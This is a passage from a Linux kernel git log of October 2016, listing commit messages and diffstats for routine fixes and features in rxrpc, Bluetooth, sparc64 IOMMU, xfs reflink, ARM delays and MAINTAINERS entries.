2016 +1100 MAINTAINERS: Update powerpc website & add selftests The selftests under tools/testing/selftests/powerpc are maintained by us, so add a file pattern for them. Also drop the www.penguinppc.org link, it's not dead, but the site is dead (database error). Instead link to the wiki attached to our github, there is some info there which may be useful, which is better than none. Signed-off-by: Michael Ellerman MAINTAINERS | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 55099115ca523b5edf5c542bd5c3287d924812f3 Author: Michael Ellerman Date: Wed Oct 5 16:04:00 2016 +1100 MAINTAINERS: Drop separate pseries entry Paul is no longer acting as a separate maintainer for pseries, it is handled along with the rest of powerpc. The URL no longer links anywhere meaningful, so drop it also. Signed-off-by: Michael Ellerman Acked-by: Paul Mackerras MAINTAINERS | 6 ------ 1 file changed, 6 deletions(-) commit 56a5b8da29fb72816b8b6b0ae97985ac28d09c79 Author: Olof Johansson Date: Tue Sep 13 14:48:38 2016 -0700 MAINTAINERS: Remove myself from PA Semi entries The platform is old, very few users and I lack bandwidth to keep after it these days. Mark the base platform as well as the drivers as orphans, patches have been flowing through the fallback maintainers for a while already. Signed-off-by: Olof Johansson Acked-by: Wolfram Sang Signed-off-by: Michael Ellerman MAINTAINERS | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 2ae342e64d987866cf44cded90891ffde89a93a9 Author: Michael Ellerman Date: Thu Oct 6 20:48:21 2016 +1100 selftests/powerpc: Add missing binaries to .gitignores Some of the recent new selftests were missing additions to .gitignore, add them now. Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/math/.gitignore | 1 + tools/testing/selftests/powerpc/signal/.gitignore | 2 ++ tools/testing/selftests/powerpc/tm/.gitignore | 4 ++++ 3 files changed, 7 insertions(+) commit 0dcfc487e521ab2d7da5c512d74337c6e706855e Author: Sathyanarayana Nujella Date: Tue Oct 4 10:33:20 2016 -0700 ASoC: Intel: report JACK_LINEOUT event This patch updates Jack type bitmask to include SND_JACK_LINEOUT while creating a new jack, so that LINEOUT events are reported properly. Signed-off-by: Sathyanarayana Nujella Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/boards/bxt_da7219_max98357a.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a6a198bc60e6c980a56eca24d33dc7f29139f8ea Author: Boris Ostrovsky Date: Wed Oct 5 13:09:33 2016 -0400 xen/x86: Update topology map for PV VCPUs Early during boot topology_update_package_map() computes logical_pkg_ids for all present processors. Later, when processors are brought up, identify_cpu() updates these values based on phys_pkg_id which is a function of initial_apicid. On PV guests the latter may point to a non-existing node, causing logical_pkg_ids to be set to -1. Intel's RAPL uses logical_pkg_id (as topology_logical_package_id()) to index its arrays and therefore in this case will point to index 65535 (since logical_pkg_id is a u16). This could lead to either a crash or may actually access random memory location. As a workaround, we recompute topology during CPU bringup to reset logical_pkg_id to a valid value. (The reason for initial_apicid being bogus is because it is initial_apicid of the processor from which the guest is launched. This value is CPUID(1).EBX[31:24]) Signed-off-by: Boris Ostrovsky Cc: stable@vger.kernel.org Signed-off-by: David Vrabel arch/x86/xen/smp.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 476080a79367b950cb860ccf8a3a53fd24f6cccc Author: Ley Foon Tan Date: Thu Aug 25 16:11:59 2016 +0800 nios2: use of_property_read_bool Use of_property_read_bool instead of open-coding it as fpcu_has. Convert the members of struct cpuinfo from u32 to bool accordingly as they are only used as boolean anyhow. Signed-off-by: Tobias Klauser Acked-by: Ley Foon Tan arch/nios2/include/asm/cpuinfo.h | 8 ++++---- arch/nios2/kernel/cpuinfo.c | 15 +++++---------- 2 files changed, 9 insertions(+), 14 deletions(-) commit 1b422066658b7cc985fa020066b72d28159d858f Author: Michał Narajowski Date: Wed Oct 5 12:28:27 2016 +0200 Bluetooth: Refactor append name and appearance Use eir_append_data to remove code duplication. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 44 +++++++++++++++----------------------------- net/bluetooth/hci_request.h | 23 +++++++++++++++++++++++ net/bluetooth/mgmt.c | 21 --------------------- 3 files changed, 38 insertions(+), 50 deletions(-) commit 7ddb30c7471ed69b75ae4c2601d45cbda5d390ff Author: Michał Narajowski Date: Wed Oct 5 12:28:26 2016 +0200 Bluetooth: Add appearance to default scan rsp data Add appearance value to beginning of scan rsp data for default advertising instance if the value is not 0. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit cecbf3e932c1fa6df45fd6cc4fc8081a4cb45bcd Author: Michał Narajowski Date: Wed Oct 5 12:28:25 2016 +0200 Bluetooth: Fix local name in scan rsp Use complete name if it fits. If not and there is short name check if it fits. If not then use shortened name as prefix of complete name. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 47 +++++++++++++++++++++++++++++++++------------ 1 file changed, 35 insertions(+), 12 deletions(-) commit 1165df0ee470930c2da73def005b1f842c2239cc Author: Amitkumar Karwar Date: Wed Sep 28 16:18:35 2016 +0530 Bluetooth: btusb: add entry for Marvell 8997 chipset btusb_set_bdaddr_marvell() configures BD address for Marvell chipsets. This patch adds new chipset 8997 in the list so that BD address feature would be available for it. Signed-off-by: Amitkumar Karwar Signed-off-by: Marcel Holtmann drivers/bluetooth/btusb.c | 1 + 1 file changed, 1 insertion(+) commit 0c9501f823a40a061f755d3789c4705c9fe85f14 Author: Maxime Ripard Date: Wed Aug 31 10:18:12 2016 +0200 backlight: pwm_bl: Handle gpio that can sleep Some backlight GPIOs might be connected to some i2c based expanders whose access might sleep. Since it's not in any critical path, use the cansleep variant of the GPIO API. Signed-off-by: Maxime Ripard Signed-off-by: Lee Jones drivers/video/backlight/pwm_bl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 358791033f39d138bf64e5544937345f4a7cf83a Author: Markus Elfring Date: Tue Aug 16 17:10:12 2016 +0200 backlight-tosa: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Lee Jones drivers/video/backlight/tosa_bl.c | 1 - 1 file changed, 1 deletion(-) commit 81a63001862f92d47c8c40a7fad870d5fbd8680b Merge: 301a36f 32b6377 Author: Russell King Date: Thu Oct 6 08:57:07 2016 +0100 Merge branch 'devel-stable' into for-linus commit 301a36fa700f9add6e14f5a95c7573e01578343a Merge: b828f96 b60752f Author: Russell King Date: Thu Oct 6 08:56:43 2016 +0100 Merge branches 'misc' and 'sa1111-base' into for-linus commit cfee9eddcd61e28b73468647fc4aa7ff2d706254 Author: Josh Poimboeuf Date: Thu Oct 6 00:28:40 2016 -0500 x86/unwind: Fix oprofile module link error When compiling on x86 with CONFIG_OPROFILE=m and CONFIG_FRAME_POINTER=n, the oprofile module fails to link: ERROR: ftrace_graph_ret_addr" [arch/x86/oprofile/oprofile.ko] undefined! The problem was introduced when oprofile was converted to use the new x86 unwinder. When frame pointers are disabled, the "guess" unwinder's unwind_get_return_address() is an inline function which calls ftrace_graph_ret_addr(), which is not exported. Fix it by converting the "guess" version of unwind_get_return_address() to an exported out-of-line function, just like its frame pointer counterpart. Reported-by: Karl Beldan Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: ec2ad9ccf12d ("oprofile/x86: Convert x86_backtrace() to use the new unwinder") Link: http://lkml.kernel.org/r/be08d589f6474df78364e081c42777e382af9352.1475731632.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/unwind.h | 14 ++------------ arch/x86/kernel/unwind_guess.c | 10 ++++++++++ 2 files changed, 12 insertions(+), 12 deletions(-) commit fb833b1fbb68461772dbf5e91bddea5e839187e9 Author: Russell King Date: Wed Oct 5 23:40:43 2016 +0100 ARM: fix delays Commit 215e362dafed ("ARM: 8306/1: loop_udelay: remove bogomips value limitation") tried to increase the bogomips limitation, but in doing so messed up udelay such that it always gives about a 5% error in the delay, even if we use a timer. The calculation is: loops = UDELAY_MULT * us_delay * ticks_per_jiffy >> UDELAY_SHIFT Originally, UDELAY_MULT was ((UL(2199023) * HZ) >> 11) and UDELAY_SHIFT 30. Assuming HZ=100, us_delay of 1000 and ticks_per_jiffy of 1660000 (eg, 166MHz timer, 1ms delay) this would calculate: ((UL(2199023) * HZ) >> 11) * 1000 * 1660000 >> 30 => 165999 With the new values of 2047 * HZ + 483648 * HZ / 1000000 and 31, we get: (2047 * HZ + 483648 * HZ / 1000000) * 1000 * 1660000 >> 31 => 158269 which is incorrect. This is due to a typo - correcting it gives: (2147 * HZ + 483648 * HZ / 1000000) * 1000 * 1660000 >> 31 => 165999 i.o.w, the original value. Fixes: 215e362dafed ("ARM: 8306/1: loop_udelay: remove bogomips value limitation") Cc: Reviewed-by: Nicolas Pitre Signed-off-by: Russell King arch/arm/include/asm/delay.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bf7d620abf22c321208a4da4f435e7af52551a21 Author: David Howells Date: Thu Oct 6 08:11:51 2016 +0100 rxrpc: Don't request an ACK on the last DATA packet of a call's Tx phase Don't request an ACK on the last DATA packet of a call's Tx phase as for a client there will be a reply packet or some sort of ACK to shift phase. If the ACK is requested, OpenAFS sends a REQUESTED-ACK ACK with soft-ACKs in it and doesn't follow up with a hard-ACK. If we don't set the flag, OpenAFS will send a DELAY ACK that hard-ACKs the reply data, thereby allowing the call to terminate cleanly. Signed-off-by: David Howells net/rxrpc/output.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 9749fd2beac42e32cb3e3d85489b52b9cc71a9ac Author: David Howells Date: Thu Oct 6 08:11:50 2016 +0100 rxrpc: Need to produce an ACK for service op if op takes a long time We need to generate a DELAY ACK from the service end of an operation if we start doing the actual operation work and it takes longer than expected. This will hard-ACK the request data and allow the client to release its resources. To make this work: (1) We have to set the ack timer and propose an ACK when the call moves to the RXRPC_CALL_SERVER_ACK_REQUEST and clear the pending ACK and cancel the timer when we start transmitting the reply (the first DATA packet of the reply implicitly ACKs the request phase). (2) It must be possible to set the timer when the caller is holding call->state_lock, so split the lock-getting part of the timer function out. (3) Add trace notes for the ACK we're requesting and the timer we clear. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 +++ net/rxrpc/call_event.c | 16 ++++++++++++---- net/rxrpc/misc.c | 2 ++ net/rxrpc/recvmsg.c | 8 ++++++-- net/rxrpc/sendmsg.c | 5 +++++ 5 files changed, 28 insertions(+), 6 deletions(-) commit 9008f998a2e992991a5d60656d4573ba4c516c58 Author: David Howells Date: Thu Oct 6 08:11:50 2016 +0100 afs: Check for fatal error when in waiting for ack state When it's in the waiting-for-ACK state, the AFS filesystem needs to check the result of rxrpc_kernel_recv_data() any time it is notified to see if it is indicating a fatal error. If this is the case, it needs to mark the call completed otherwise the call just sits there and never goes away. Signed-off-by: David Howells fs/afs/rxrpc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cf69207afa2a750ba78782bb4ff4d72c1efb8e6b Author: David Howells Date: Thu Oct 6 08:11:50 2016 +0100 rxrpc: Return negative error code to kernel service In rxrpc_kernel_recv_data(), when we return the error number incurred by a failed call, we must negate it before returning it as it's stored as positive (that's what we have to pass back to userspace). Signed-off-by: David Howells net/rxrpc/recvmsg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 94bc669efa3beb1f6b171f5a3225079bc457d4a2 Author: David Howells Date: Thu Oct 6 08:11:50 2016 +0100 rxrpc: Add missing notification The call's background processor work item needs to notify the socket when it completes a call so that recvmsg() or the AFS fs can deal with it. Without this, call expiry isn't handled. Signed-off-by: David Howells net/rxrpc/call_event.c | 1 + 1 file changed, 1 insertion(+) commit d7833d00915e1fb5743e94d3c207810b30e9fc38 Author: David Howells Date: Thu Oct 6 08:11:50 2016 +0100 rxrpc: Queue the call on expiry When a call expires, it must be queued for the background processor to deal with otherwise a service call that is improperly terminated will just sit there awaiting an ACK and won't expire. Signed-off-by: David Howells net/rxrpc/call_event.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit b3156274ca01297b861e912175820e78c9ac4d7c Author: David Howells Date: Thu Oct 6 08:11:49 2016 +0100 rxrpc: Partially handle OpenAFS's improper termination of calls OpenAFS doesn't always correctly terminate client calls that it makes - this includes calls the OpenAFS servers make to the cache manager service. It should end the client call with either: (1) An ACK that has firstPacket set to one greater than the seq number of the reply DATA packet with the LAST_PACKET flag set (thereby hard-ACK'ing all packets). nAcks should be 0 and acks[] should be empty (ie. no soft-ACKs). (2) An ACKALL packet. OpenAFS, though, may send an ACK packet with firstPacket set to the last seq number or less and soft-ACKs listed for all packets up to and including the last DATA packet. The transmitter, however, is obliged to keep the call live and the soft-ACK'd DATA packets around until they're hard-ACK'd as the receiver is permitted to drop any merely soft-ACK'd packet and request retransmission by sending an ACK packet with a NACK in it. Further, OpenAFS will also terminate a client call by beginning the next client call on the same connection channel. This implicitly completes the previous call. This patch handles implicit ACK of a call on a channel by the reception of the first packet of the next call on that channel. If another call doesn't come along to implicitly ACK a call, then we have to time the call out. There are some bugs there that will be addressed in subsequent patches. Signed-off-by: David Howells net/rxrpc/input.c | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit a5af7e1fc69a46f29b977fd4b570e0ac414c2338 Author: David Howells Date: Thu Oct 6 08:11:49 2016 +0100 rxrpc: Fix loss of PING RESPONSE ACK production due to PING ACKs Separate the output of PING ACKs from the output of other sorts of ACK so that if we receive a PING ACK and schedule transmission of a PING RESPONSE ACK, the response doesn't get cancelled by a PING ACK we happen to be scheduling transmission of at the same time. If a PING RESPONSE gets lost, the other side might just sit there waiting for it and refuse to proceed otherwise. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 12 +++++++++--- net/rxrpc/call_event.c | 48 ++++++++++++++++++++++++++++++++++++++++++++---- net/rxrpc/call_object.c | 1 + net/rxrpc/input.c | 4 ++-- net/rxrpc/misc.c | 2 +- net/rxrpc/output.c | 38 ++++++++++++++++++++++---------------- net/rxrpc/recvmsg.c | 4 ++-- net/rxrpc/sendmsg.c | 2 +- 8 files changed, 82 insertions(+), 29 deletions(-) commit 26cb02aa6d3efeb543805ed9ad599dae24f7c6d4 Author: David Howells Date: Thu Oct 6 08:11:49 2016 +0100 rxrpc: Fix warning by splitting rxrpc_send_call_packet() Split rxrpc_send_data_packet() to separate ACK generation (which is more complicated) from ABORT generation. This simplifies the code a bit and fixes the following warning: In file included from ../net/rxrpc/output.c:20:0: net/rxrpc/output.c: In function 'rxrpc_send_call_packet': net/rxrpc/ar-internal.h:1187:27: error: 'top' may be used uninitialized in this function [-Werror=maybe-uninitialized] net/rxrpc/output.c:103:24: note: 'top' was declared here net/rxrpc/output.c:225:25: error: 'hard_ack' may be used uninitialized in this function [-Werror=maybe-uninitialized] Reported-by: Arnd Bergmann Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 +- net/rxrpc/call_accept.c | 2 +- net/rxrpc/call_event.c | 6 +- net/rxrpc/call_object.c | 2 +- net/rxrpc/output.c | 156 +++++++++++++++++++++++++++--------------------- net/rxrpc/recvmsg.c | 4 +- net/rxrpc/rxkad.c | 6 +- net/rxrpc/sendmsg.c | 7 +-- 8 files changed, 102 insertions(+), 84 deletions(-) commit a9f312d98affab387557e2795d4e11ad82a4e4e8 Author: David Howells Date: Thu Oct 6 08:11:49 2016 +0100 rxrpc: Only ping for lost reply in client call When a reply is deemed lost, we send a ping to find out the other end received all the request data packets we sent. This should be limited to client calls and we shouldn't do this on service calls. Signed-off-by: David Howells net/rxrpc/input.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7212a57e8eaa2572481398532d7be0c2685362b9 Author: David Howells Date: Thu Oct 6 08:11:49 2016 +0100 rxrpc: Fix oops on incoming call to serviceless endpoint If an call comes in to a local endpoint that isn't listening for any incoming calls at the moment, an oops will happen. We need to check that the local endpoint's service pointer isn't NULL before we dereference it. Signed-off-by: David Howells net/rxrpc/call_accept.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 19c0dbd5406ddc669ef1516c02c6b0f5a4465628 Author: David Howells Date: Thu Oct 6 08:11:48 2016 +0100 rxrpc: Fix duplicate const Remove a duplicate const keyword. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 2 +- net/rxrpc/misc.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit b63452c11e22382e592d3f7f9ac4966197d3eab6 Author: David Howells Date: Thu Oct 6 08:11:48 2016 +0100 rxrpc: Accesses of rxrpc_local::service need to be RCU managed struct rxrpc_local->service is marked __rcu - this means that accesses of it need to be managed using RCU wrappers. There are two such places in rxrpc_release_sock() where the value is checked and cleared. Fix this by using the appropriate wrappers. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 98e98eb6a8a179a444a30d903714fab356726155 Author: netmonk@netmonk.org Date: Sat Oct 1 23:42:41 2016 +0200 sparc: fixing ident and beautifying code Good evening, Following LinuxCodingStyle documentation and with the help of Sam, fixed severals identation issues in the code, and few others cosmetic changes And last and i hope least fixing my name :) Signed-off-by : Dominique Carrel Acked-by: Sam Ravnborg Signed-off-by: David S. Miller arch/sparc/prom/ranges.c | 52 ++++++++++++++++++++++-------------------------- 1 file changed, 24 insertions(+), 28 deletions(-) commit 27f145e74c274fa6e40056f3a8d5dc3563bd7369 Merge: cdd4f4c aa7bde1 Author: David S. Miller Date: Thu Oct 6 01:44:56 2016 -0400 Merge branch 'sparc-pcie-perf' Chris Hyser says: ==================== sparc64: PCIe performance enhancements Ver 2 is redone for 4.8 where commit 00085f1efa387a8ce100e3734920f7639c80caa3 changed DMA attributes from struct pointer to unsigned long. This set of patches initiates a series of PCIe performance enhancement patch submittals. Patch 1/2 enables version 2 of the SPARC sun4v IOMMU I/O address translation services need for subsequent enhancements. Patch 2/2 allows drivers to specify DMA_ATTR_WEAK_ORDERING via DMA attributes to the SPARC DMA mapping routines enabling "relaxed ordering" for the buffer being mapped. [Still relevant write-up] PCI-Express Relaxed Ordering and the Sun SPARC Enterprise M-class Servers https://blogs.oracle.com/olympus/entry/relaxed_ordering ==================== Signed-off-by: David S. Miller commit aa7bde1a8b49391d34f17905a04c3acf7770283d Author: chris hyser Date: Wed Sep 28 12:19:50 2016 -0700 sparc64: Enable setting "relaxed ordering" in IOMMU mappings Enable relaxed ordering for memory writes in IOMMU TSB entry from dma_4v_alloc_coherent(), dma_4v_map_page() and dma_4v_map_sg() when dma_attrs DMA_ATTR_WEAK_ORDERING is set. This requires PCI IOMMU I/O Translation Services version 2.0 API. Many PCIe devices allow enabling relaxed-ordering (memory writes bypassing other memory writes) for various DMA buffers. A notable exception is the Mellanox mlx4 IB adapter. Due to the nature of x86 HW this appears to have little performance impact there. On SPARC HW however, this results in major performance degradation getting only about 3Gbps. Enabling RO in the IOMMU entries corresponding to mlx4 data buffers increases the throughput to about 13 Gbps. Orabug: 19245907 Signed-off-by: Chris Hyser Signed-off-by: David S. Miller arch/sparc/include/asm/hypervisor.h | 1 + arch/sparc/kernel/pci_sun4v.c | 16 +++++++++++++++- 2 files changed, 16 insertions(+), 1 deletion(-) commit 8914391b4e6517ca3dbbb975fc38ce13b0c5ee45 Author: chris hyser Date: Wed Sep 28 12:19:45 2016 -0700 sparc64: Enable PCI IOMMU version 2 API Enable Version 2 of the PCI IOMMU API needed for advanced features such as PCI Relaxed Ordering and greater than 2 GB DMA address space per root complex. Signed-off-by: Chris Hyser Signed-off-by: David S. Miller arch/sparc/kernel/pci_sun4v.c | 36 ++++++++++++++++++++++++++---------- 1 file changed, 26 insertions(+), 10 deletions(-) commit cdd4f4c71047cdd28c13891e6e217765ea1c1bdc Author: Paul Gortmaker Date: Mon Sep 19 17:36:29 2016 -0400 sparc: migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. Cc: "David S. Miller" Cc: sparclinux@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: David S. Miller arch/sparc/kernel/kprobes.c | 2 +- arch/sparc/kernel/traps_64.c | 2 +- arch/sparc/kernel/unaligned_64.c | 2 +- arch/sparc/mm/fault_64.c | 2 +- arch/sparc/mm/init_64.c | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 8a5f50d3b7f2f601c200f84827c2c9220cd69f71 Author: Dan Williams Date: Thu Sep 22 15:42:59 2016 -0700 libnvdimm, namespace: unify blk and pmem label scanning In preparation for allowing multiple namespace per pmem region, unify blk and pmem label scanning. Given that blk regions already support multiple namespaces, teaching that path how to do pmem namespace scanning is an incremental step towards multiple pmem namespace support. This should be functionally equivalent to the previous state in that stops after finding the first valid pmem label set. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 385 +++++++++++++++++++++------------------- 1 file changed, 207 insertions(+), 178 deletions(-) commit f95b4bca9e7d29db284f9b175edf8deca1489def Author: Dan Williams Date: Wed Sep 21 18:16:21 2016 -0700 libnvdimm, namespace: refactor uuid_show() into a namespace_to_uuid() helper The ability to translate a generic struct device pointer into a namespace uuid is a useful utility as we go to unify the blk and pmem label scanning paths. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) commit af70c1f92d3567035d2f73f39079459d58c706dc Author: Mike Looijmans Date: Tue Oct 4 07:52:04 2016 +0200 phy: micrel.c: Enable ksz9031 energy-detect power-down mode Set bit 0 in register 1C.23 to enable the EDPD feature of the KSZ9031 PHY. This reduces power consumption when the link is down. Signed-off-by: Mike Looijmans Reviewed-by: Andrew Lunn Reviewed-by: Florian Fainelli drivers/net/phy/micrel.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit a6930aaee06755d1bdcfd943fbf614e4d92bb0c7 Merge: d8ea757 742859a Author: Linus Torvalds Date: Wed Oct 5 18:18:20 2016 -0700 Merge branch 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/gerg/m68knommu Pull m68knommu updates from Greg Ungerer: "The bulk of the changes here are to clean up the ColdFire 5441x SoC support so that it can run with MMU enabled. We have only supported it with MMU disabled up to now. There is also a few individual bug fixes across the ColdFire support code" * 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/gerg/m68knommu: m68k: let clk_disable() return immediately if clk is NULL m68knommu: convert printk(KERN_INFO) to pr_info() m68knommu: clean up uClinux boot log output m68k: generalize uboot command line support m68k: don't panic if no hardware FPU defined m68k: only generate FPU instructions if CONFIG_FPU enabled m68k: always make available dump_fpu() m68k: generalize io memory region setup for ColdFire ACR registers m68k: move ColdFire _bootmem_alloc code m68k: report correct FPU type on ColdFire MMU platforms m68k: set appropriate machine type for m5411x SoC platforms m68k: move CONFIG_FPU set to per-CPU configuration m68knommu: fix IO write size in nettel pin set m68knommu: switch to using IO access methods in WildFire board code m68knommu: fix early setup to not access variables commit d8ea757b25ec82687c497fc90aa83f9bcea24b5b Merge: 41844e3 a4c6be5 Author: Linus Torvalds Date: Wed Oct 5 17:44:48 2016 -0700 Merge tag 'xtensa-20161005' of git://github.com/jcmvbkbc/linux-xtensa Pull Xtensa updates from Max Filippov: "Updates for the xtensa architecture. It is a combined set of patches for 4.8 that never got to the mainline and new patches for 4.9. - add new kernel memory layouts for MMUv3 cores: with 256MB and 512MB KSEG size, starting at physical address other than 0 - make kernel load address configurable - clean up kernel memory layout macros - drop sysmem early allocator and switch to memblock - enable kmemleak and memory reservation from the device tree - wire up new syscalls: userfaultfd, membarrier, mlock2, copy_file_range, preadv2 and pwritev2 - add new platform: Cadence Configurable System Platform (CSP) and new core variant for it: xt_lnx - rearrange CCOUNT calibration code, make most of it generic - improve machine reset code (XTFPGA now reboots reliably with MMUv3 cores) - provide default memmap command line option for configurations without device tree support - ISS fixes: simdisk is now capable of using highmem pages, panic correctly terminates simulator" * tag 'xtensa-20161005' of git://github.com/jcmvbkbc/linux-xtensa: (24 commits) xtensa: disable MMU initialization option on MMUv2 cores xtensa: add default memmap and mmio32native options to defconfigs xtensa: add default memmap option to common_defconfig xtensa: add default memmap option to iss_defconfig xtensa: ISS: allow simdisk to use high memory buffers xtensa: ISS: define simc_exit and use it instead of inline asm xtensa: xtfpga: group platform_* functions together xtensa: rearrange CCOUNT calibration xtensa: xtfpga: use clock provider, don't update DT xtensa: Tweak xuartps UART driver Rx watermark for Cadence CSP config. xtensa: initialize MMU before jumping to reset vector xtensa: fix icountlevel setting in cpu_reset xtensa: extract common CPU reset code into separate function xtensa: Added Cadence CSP kernel configuration for Xtensa xtensa: fix default kernel load address xtensa: wire up new syscalls xtensa: support reserved-memory DT node xtensa: drop sysmem and switch to memblock xtensa: minimize use of PLATFORM_DEFAULT_MEM_{ADDR,SIZE} xtensa: cleanup MMU setup and kernel layout macros ... commit a44c984f1ef16229cdfd92326ad10118b1940ff9 Author: Stephen Rothwell Date: Tue Sep 13 10:08:58 2016 +1000 netfilter: merge fixup for "nf_tables_netdev: remove redundant ip_hdr assignment" Signed-off-by: Stephen Rothwell Acked-by: Pablo Neira Ayuso Signed-off-by: David S. Miller include/net/netfilter/nf_tables_ipv4.h | 1 - 1 file changed, 1 deletion(-) commit 5bfb88a1636eadd55971ad23890356831a93325d Merge: 41844e3 2fa46c1 Author: David S. Miller Date: Wed Oct 5 20:15:55 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next Pablo Neira Ayuso says: ==================== Netfilter fixes for net-next This is a pull request to address fallout from previous nf-next pull request, only fixes going on here: 1) Address a potential null dereference in nf_unregister_net_hook() when becomes nf_hook_entry_head is NULL, from Aaron Conole. 2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron. 3) Fix linking problems in xt_hashlimit in x86_32, from Pai. 4) Fix permissions of nf_log sysctl from unpriviledge netns, from Jann Horn. 5) Fix possible divide by zero in nft_limit, from Liping Zhang. ==================== Signed-off-by: David S. Miller commit 1f08af52e7c981e9877796a2d90b0e0f08666945 Author: Darrick J. Wong Date: Mon Oct 3 09:11:53 2016 -0700 xfs: implement swapext for rmap filesystems Implement swapext for filesystems that have reverse mapping. Back in the reflink patches, we augmented the bmap code with a 'REMAP' flag that updates only the bmbt and doesn't touch the allocator and implemented log redo items for those two operations. Now we can rewrite extent swapping as a (looong) series of remap operations. This is far less efficient than the fork swapping method implemented in the past, so we only switch this on for rmap. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_trans_space.h | 9 +++ fs/xfs/xfs_bmap_util.c | 162 +++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_trace.h | 5 ++ 3 files changed, 173 insertions(+), 3 deletions(-) commit 39aff5fdb91e8fee6a2c28910a263a5228619ba2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:53 2016 -0700 xfs: refactor swapext code Refactor the swapext function to pull out the fork swapping piece into a separate function. In the next patch we'll add in the bit we need to make it work with rmap filesystems. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_bmap_util.c | 275 ++++++++++++++++++++++++++----------------------- 1 file changed, 144 insertions(+), 131 deletions(-) commit e06259aa08fbc88c824130764c8667a8cc68c4d1 Author: Darrick J. Wong Date: Mon Oct 3 09:11:52 2016 -0700 xfs: various swapext cleanups Replace structure typedefs with struct expressions and fix some whitespace issues that result. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_bmap_util.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit e54b5bf9d7aeb92d92c7f5115035e6a851d0f0c5 Author: Darrick J. Wong Date: Mon Oct 3 09:11:52 2016 -0700 xfs: recognize the reflink feature bit Add the reflink feature flag to the set of recognized feature flags. This enables users to write to reflink filesystems. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_format.h | 3 ++- fs/xfs/xfs_super.c | 7 +++++++ 2 files changed, 9 insertions(+), 1 deletion(-) commit a35eb41519ab8db90e87d375ee9362d6e080ca4c Author: Darrick J. Wong Date: Mon Oct 3 09:11:51 2016 -0700 xfs: simulate per-AG reservations being critically low Create an error injection point that enables us to simulate being critically low on per-AG block reservations. This should enable us to simulate this specific ENOSPC condition so that we can test falling back to a regular file copy. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_ag_resv.c | 4 +++- fs/xfs/xfs_error.h | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) commit 4f435ebe7d0422af61cdcddbbcc659888645a1e1 Author: Darrick J. Wong Date: Mon Oct 3 09:11:50 2016 -0700 xfs: don't mix reflink and DAX mode for now Since we don't have a strategy for handling both DAX and reflink, for now we'll just prohibit both being set at the same time. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_inode_buf.c | 4 ++++ fs/xfs/xfs_file.c | 4 ++++ fs/xfs/xfs_ioctl.c | 4 ++++ fs/xfs/xfs_iops.c | 1 + 4 files changed, 13 insertions(+) commit c8e156ac336d82f67d7adc014404a2251e9dad09 Author: Darrick J. Wong Date: Mon Oct 3 09:11:50 2016 -0700 xfs: check for invalid inode reflink flags We don't support sharing blocks on the realtime device. Flag inodes with the reflink or cowextsize flags set when the reflink feature is disabled. Signed-off-by: Darrick J. Wong 